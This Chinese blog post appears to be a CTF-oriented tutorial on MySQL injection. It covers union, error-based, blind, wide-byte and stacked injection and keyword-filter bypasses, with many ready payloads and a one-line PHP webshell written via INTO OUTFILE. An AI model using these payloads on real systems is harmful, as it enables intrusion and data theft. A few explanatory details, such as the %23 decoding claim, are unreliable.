0x00 前言
做了一段时间的web了,SQL注入也做了不少,对这段时间以来的SQL注入学习做个小结。
0x01 SQL注入产生原因
web应用对用户的输入没有进行合法性的判断,直接将其拼接到sql中,参数为用户可控,就可能会造成SQL注入。
例如:
$query = "SELECT * FROM users WHERE id = $_GET['id']";
这里用户输入的参数没有进行任何过滤,用户就可以通过构造恶意的sql语句来进行SQL注入攻击。
0x02 SQL注入相关知识点
information_schema
MySQL5.0以上版本内置了数据库 information_schema
,存储了所有的数据库名、表名、列名。
- information_schema.schemata 记录库名信息。
- information_schema.tables 记录表名信息。
- information_schema.columns 记录列名信息。
- TABLE_SCHEMA 数据库字段
- TABLE_NAME 表名
- COLUMN_NAME 列名
查表名:SELECT table_name FROM information_schema.tables where TABLE_SCHEMA=database();
查列名:SELECT column_name FROM information_schema.columns where TABLE_name=表名;
查数据:select 列名 from 库名.表名
获取字段数:order by
。
ORDER BY {<列名> | <表达式> | <位置>} [ASC|DESC]
ORDER BY
子句主要用来将结果集中的数据按照一定的顺序进行排序。当使用 order by
进行排序时,若 order by
后接的位置超过了查询的字段数时就会报错。例如字段数为3,那么 order by 4
就会报错。我们就可以依据这个来获得查询的字段数。
注释符
常见的注释符:#
、--
、/**/
文件写入
可以使用 SELECT...INTO OUTFILE
语句将表的内容导出成一个文本文件。
例如 SELECT '<?php eval($_POST[1]); ?>' INTO OUTFILE '/var/www/html/shell.php'
就可以将一句话木马写入web根目录下的PHP文件。
0x03 SQL注入的分类
分类
按变量类型分
- 数字型
- 字符型
- 其他类型
按注入方式分
- union注入
- 报错注入
- 盲注
- 布尔盲注
- 时间盲注
编码问题
- 宽字节注入
- 二次urldecode注入
堆叠注入
0x00 按变量类型
数字型
类似于 $query = "SELECT * FROM users WHERE id = $_GET['id']";
的sql语句,参数为数字型。通常直接拼接语句即可。
字符型
类似于 $query = "SELECT * FROM users WHERE id= '$id'";
的sql语句,参数为字符串,与数字型大同小异,只是需要将包裹原参数的前引号闭合,后引号注释掉。
其他类型
其他有的注入点在cookie处,在HTTP头,虽然注入点的位置不同,但是还是可以将其归类于上述两种类型。
0x01 按注入方式分
union注入
union联合注入,UNION
操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。多个 SELECT 语句会删除重复的数据。
例如:SELECT * FROM USERS WHERE id=1 UNION SELECT 1,2,3;
就会分别执行 SELECT * FROM USERS WHERE id=1
和 SELECT 1,2,3
, 我们就可以利用UNION拼接的后一条语句来进行注入攻击。
报错注入
在一些情况下,web应用程序会将sql语句执行的报错信息返回到页面上来,我们就可以利用 UPDATEXML
函数来获取我们想要的信息。
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值
通常构造payload为:' and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
,由于 UPDATEXML
的第二个参数要求是Xpath格式的字符串,而0x7e就是 ~
,以 ~
开头的字符串显然不是Xpath格式的字符串,那么就会引发报错,将第二个参数以错误形式爆出,就获得了我们想要的信息。
例如,在mysql中执行 select 1,2,3 and updatexml(1,concat(0x7e,(select database()),0x7e),1);
,那么会返回报错信息如下,test就是此时选中的数据库名。
1105 - XPATH syntax error: '\~test~'
盲注
布尔盲注
对于sql语句的执行结果只会返回一个布尔值,可以通过构造语句,来判断数据库信息的正确性,再通过页面的“真”与“假”来识别我们的判断是否正确。
通常会用到 SUBSTR
函数来逐字符爆破我们想要获取的信息。
substr(string string,num start,num length);
string为字符串;start为起始位置;length为长度。
例如,在获取数据库名的时候,我们可以构造如下payload,' and substr(database(),1,1)='t'#
如果数据库名第一个字符为 t
,那么就会返回true,如果不是 t
,由于中间使用了and连接符,后面的语句返回false,那么改sql语句也会返回false。
时间盲注
盲注就是在sql注入过程中,sql语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
时间盲注中比较常用的几个函数有:IF
,SUBSTR
,SLEEP
IF(expr1,expr2,expr3)
如果 expr1 是TRUE (expr1 <> 0 and expr1 <> NULL),则 IF()的返回值为expr2; 否则返回值则为 expr3。
SLEEP(duration):在duration参数给定的秒数之后运行
常用的payload:' and if((substr(database(),1,1)='t'),sleep(3),0)
,也就是说,如果数据库名第一个字符为 t
,那么执行 IF
函数的第二个表达式,程序的运行时间就会多出三秒,我们就可以根据他的执行时间判断我们构造的语句返回结果是否正确,从而获得我们想要的数据。
0x02 编码问题
宽字节注入
当数据库编码为 GBK
时,在使用PHP连接MySQL时,当设置 set character_set_client=gbk
时就会存在宽字节注入。
例如sql语句 $query = select * from user where id = '$id'
,程序会将我们输入的单引号进行转义时(' -> \'
),一般情况下无法绕过。
但是当存在宽字节注入时,注入参数输入 -1%d0' and 1=1%23
,由于编码方式为gbk,输入的单引号被转义为 \'
,%d0与%5c(\
)就会被识别为一个字符,也就是汉字 衆
。这样原本无法绕过的单引号转义就因为单字节注入使得整个sql语句变为 select * from user where id = '1衆' and 1=1#
,原本无法绕过的单引号转义就被绕过了。
二次urldecode注入
PHP中常用过滤函数如addslashes()
、mysql_real_escape_string()
、mysql_escape_string()
或者使用魔术引号GPC开关来防止注入,原理都是给单引号('
)、双引号("
)、反斜杠(\
)和NULL等特殊字符前面加上反斜杠来进行转义。
由于我们提交参数到WebServer时会被解码一次,所以这些函数在遇到urldecode()
函数时,就会因为二次解码引发注入。
例如sql语句 $query = select * from user where id = '$id'
,输入 1%2527 and 1=1%23
时,由于 urldecode()
函数会对输入进行一次解码,就变成了了 1%27 and 1=1#
,%23
解码正是 %
,就绕过了他的转义。
0x03 堆叠注入
堆叠注入可以执行多条sql语句,以分号隔开。所以只要权限足够,可以完成任意操作。
例如sql语句,$query = select * from user where id = '$id'
,输入 1';select database(); #
就可以任意语句执行。
但是其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqli_multi_query()函数就支持多条sql语句同时执行,
但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli_query()函数,其只能执行一条语句,分号后面的内容将不会被执行。
0x04 针对关键字过滤的绕过技巧
过滤空格
使用注释符 /**/
绕过
select/**/username/**/from/**/user;
使用url编码绕过
%a0
就是空格的意思。
括号绕过空格
空格被过滤,但括号没有被过滤,括号是用来包围子查询的。任何可以计算出结果的语句,都可以用括号包围起来。
例如之前的时间盲注的payload: 1%27and(if((substr(database(),1,1)='t'),sleep(3),0))
就用括号包裹起来没有空格。
过滤逗号
from关键字绕过
对于substr()
和mid()
里的逗号可以使用 from...for
来绕过。
例如 select mid(database() from 1 for 1)
就会返回数据库名的第一个字符。
like关键字绕过
对于 select mid(user(),1,1)='t'
等价于 select database() like 't%'
。
join关键字绕过
union select 1,2
等价于 union select * from (select 1)a join (select 2)b
。
right join:用于获取右表中的所有记录,即使左表没有对应匹配的记录。
过滤注释符
手动闭合
对于语句末尾的引号不用注释符注释,手动加上引号使其闭合。
过滤等号
使用like 、rlike 、regexp 或者 使用< 或者 >
rlike
和regexp
运算符用于确定字符串是否匹配正则表达式,如果字符串与提供的正则表达式匹配,则结果为1,否则为0。
过滤or
、 and
、 xor
、 not
使用符号代替
- and =
&&
- or =
||
- xor =
|
- not =
!
过滤union
,select
,where
等
使用注释符绕过
例如:U/**/NION /**/SE/**/LECT user,pwd from user
<>
绕过
例如:U<>NION SE<>LECT user,pwd from user
使用大小写绕过
当过滤时大小写敏感可以大小写绕过。
id=-1'UnIoN/**/SeLeCT
双写绕过
当将过滤字符替换为空时可以双写绕过,当替换掉一个后刚好还原原本的字符。
id=-1'uniunionon selselectect
使用编码绕过过滤
如URLEncode
编码,ASCII
,HEX
,unicode编码
绕过
or 1=1
即%6f%72%20%31%3d%31
,而Test
也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
。
函数过滤绕过
hex()、bin() => ascii()
sleep() =>benchmark()
BENCHMARK(count,expr)
,benchmark()
函数会计算表达式 expr
count次,当count足够大时就会使得程序运行时间明显延长。
还可以使用笛卡尔积盲注
笛卡尔积(因为连接表是一个很耗时的操作)
AxB=A和B中每个元素的组合所组成的集合,就是连接表
SELECT count() FROM information_schema.columns A, information_schema.columns B, information_schema.tables C;
select * from table_name A, table_name B
select * from table_name A, table_name B,table_name C
select count() from table_name A, table_name B,table_name C 表可以是同一张表
mid()、substr() => substring()
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
堆叠注入中的过滤
可以使用 handler
来进行查询。
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。
通过HANDLER tbl_name OPEN
打开一张表,无返回结果,实际上我们在这里声明了一个名为tb1_name的句柄。
通过HANDLER tbl_name READ FIRST
获取句柄的第一行,通过READ NEXT
依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
预处理
PREPARE name from '[my sql sequece]'; //预定义SQL语句
EXECUTE name; //执行预定义SQL语句
(DEALLOCATE || DROP) PREPARE name; //删除预定义SQL 语句
例如 select * from flag
的十六进制为 0x73656c656374202a2066726f6d20666c6167,那么在堆叠注入中我们就可以利用预处理进行注入:
PREPARE name from 0x73656c656374202a2066726f6d20666c6167;
EXECUTE name;
就可以执行语句 select * from flag
了,可以绕过很多黑名单。
(待续)
Comments | NOTHING